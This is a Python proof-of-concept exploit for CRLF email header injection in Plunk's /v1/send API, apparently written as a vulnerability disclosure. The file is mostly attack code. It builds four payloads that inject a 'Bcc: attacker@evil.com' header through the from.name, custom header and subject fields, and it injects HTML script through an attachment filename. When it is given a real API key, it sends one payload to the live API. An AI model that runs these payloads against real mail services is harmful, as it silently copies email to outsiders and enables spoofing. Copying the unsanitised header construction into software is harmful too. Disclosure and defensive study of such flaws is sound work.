1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
| #!/usr/bin/env python3
"""
PoC: CRLF Email Header Injection in Plunk (useplunk/plunk)
Vulnerability: The POST /v1/send endpoint builds a raw MIME message by
interpolating user-supplied values (from.name, subject, custom headers,
attachment filenames) directly into the raw email string without sanitizing
CRLF (\r\n) characters. This allows an authenticated API user to inject
arbitrary email headers.
Affected file: apps/api/src/services/SESService.ts (sendRawEmail function)
Affected lines: 137-151 (raw MIME header construction)
Impact:
- Inject BCC headers to send copies to attacker-controlled addresses
- Inject Reply-To or Return-Path headers to redirect replies
- Inject content headers to alter MIME structure
- Potential email spoofing by overriding From/Sender
Prerequisites:
- Valid Plunk API secret key (Bearer token)
- A verified sender domain in the Plunk project
Usage:
python3 crlf_header_injection_poc.py --url <PLUNK_API_URL> --key <SECRET_KEY> --from <verified@domain.com> --to <recipient@example.com>
"""
import argparse
import json
import sys
try:
import requests
except ImportError:
print("pip install requests")
sys.exit(1)
def demonstrate_header_injection(api_url: str, secret_key: str, from_email: str, to_email: str):
"""
Demonstrates CRLF injection via the 'from.name' field.
The from.name value is interpolated into:
From: ${from.name} <${from.email}>
By injecting "\r\nBcc: attacker@evil.com" into from.name, the raw MIME
message becomes:
From: Legit Sender
Bcc: attacker@evil.com <verified@domain.com>
To: recipient@example.com
...
This injects a Bcc header, causing SES to silently send a copy of the
email to attacker@evil.com.
"""
endpoint = f"{api_url.rstrip('/')}/v1/send"
# --- Vector 1: Injection via from.name ---
print("[*] Vector 1: CRLF injection via from.name")
payload_fromname = {
"to": to_email,
"subject": "Test Email",
"body": "<p>Hello, this is a test email.</p>",
"from": {
# Inject a Bcc header via from.name
"name": "Legit Sender\r\nBcc: attacker@evil.com",
"email": from_email,
},
}
print(f" Payload from.name: {json.dumps(payload_fromname['from']['name'])}")
print(f" Expected raw MIME output:")
print(f" From: Legit Sender")
print(f" Bcc: attacker@evil.com <{from_email}>")
print(f" To: {to_email}")
print()
# --- Vector 2: Injection via custom headers ---
print("[*] Vector 2: CRLF injection via custom headers value")
payload_headers = {
"to": to_email,
"subject": "Test Email",
"body": "<p>Hello, this is a test email.</p>",
"from": from_email,
"headers": {
# Inject Bcc via a custom header value
"X-Custom": "value\r\nBcc: attacker@evil.com",
},
}
print(f" Payload headers: {json.dumps(payload_headers['headers'])}")
print(f" Expected raw MIME output:")
print(f" X-Custom: value")
print(f" Bcc: attacker@evil.com")
print()
# --- Vector 3: Injection via subject ---
print("[*] Vector 3: CRLF injection via subject")
payload_subject = {
"to": to_email,
"subject": "Legit Subject\r\nBcc: attacker@evil.com",
"body": "<p>Hello, this is a test email.</p>",
"from": from_email,
}
print(f" Payload subject: {json.dumps(payload_subject['subject'])}")
print(f" Expected raw MIME output:")
print(f" Subject: Legit Subject")
print(f" Bcc: attacker@evil.com")
print()
# --- Vector 4: Injection via attachment filename ---
print("[*] Vector 4: CRLF injection via attachment filename")
payload_attachment = {
"to": to_email,
"subject": "Test Email",
"body": "<p>Hello, this is a test email.</p>",
"from": from_email,
"attachments": [
{
"filename": 'test.txt"\r\nContent-Type: text/html\r\n\r\n<script>alert(1)</script>\r\n--',
"content": "SGVsbG8=", # base64 "Hello"
"contentType": "text/plain",
}
],
}
print(f" Payload filename: {json.dumps(payload_attachment['attachments'][0]['filename'])}")
print()
# --- Send the request (Vector 1 as demonstration) ---
if secret_key and secret_key != "DEMO":
print("[*] Sending Vector 1 payload to API...")
headers = {
"Content-Type": "application/json",
"Authorization": f"Bearer {secret_key}",
}
try:
resp = requests.post(endpoint, json=payload_fromname, headers=headers, timeout=10)
print(f" Status: {resp.status_code}")
print(f" Response: {resp.text[:500]}")
if resp.status_code == 200:
print("\n[+] SUCCESS: Email sent with injected headers!")
print("[+] Check if attacker@evil.com received a BCC copy.")
elif resp.status_code == 422 or resp.status_code == 400:
print("\n[-] Validation error - CRLF may be filtered at schema level")
print(" (But source code review confirms no CRLF filtering exists)")
else:
print(f"\n[?] Unexpected status code: {resp.status_code}")
except requests.exceptions.RequestException as e:
print(f" Error: {e}")
else:
print("[!] Dry run mode (no API key provided or key is 'DEMO')")
print("[!] The vulnerability is confirmed via source code review:")
print(f" File: apps/api/src/services/SESService.ts")
print(f" Line 137: let rawMessage = `From: ${{from.name}} <${{from.email}}>")
print(f" Line 139: Reply-To: ${{reply || from.email}}")
print(f" Line 140: Subject: ${{content.subject}}")
print(f" Lines 144-148: headers interpolated without CRLF sanitization")
print(f" Line 187: Content-Disposition: inline; filename=\"${{attachment.filename}}\"")
print()
print("[!] No CRLF filtering exists in the Zod schema (packages/shared/src/schemas/index.ts)")
print(" headers: z.record(z.string().max(998)).optional()")
print(" from.name: z.string().optional()")
print(" subject: z.string().min(1).max(998)")
print(" filename: z.string().min(1).max(255)")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Plunk CRLF Email Header Injection PoC")
parser.add_argument("--url", default="http://localhost:3000", help="Plunk API URL")
parser.add_argument("--key", default="DEMO", help="Plunk API secret key")
parser.add_argument("--from", dest="from_email", default="test@example.com", help="Verified sender email")
parser.add_argument("--to", dest="to_email", default="victim@example.com", help="Recipient email")
args = parser.parse_args()
demonstrate_header_injection(args.url, args.key, args.from_email, args.to_email)
|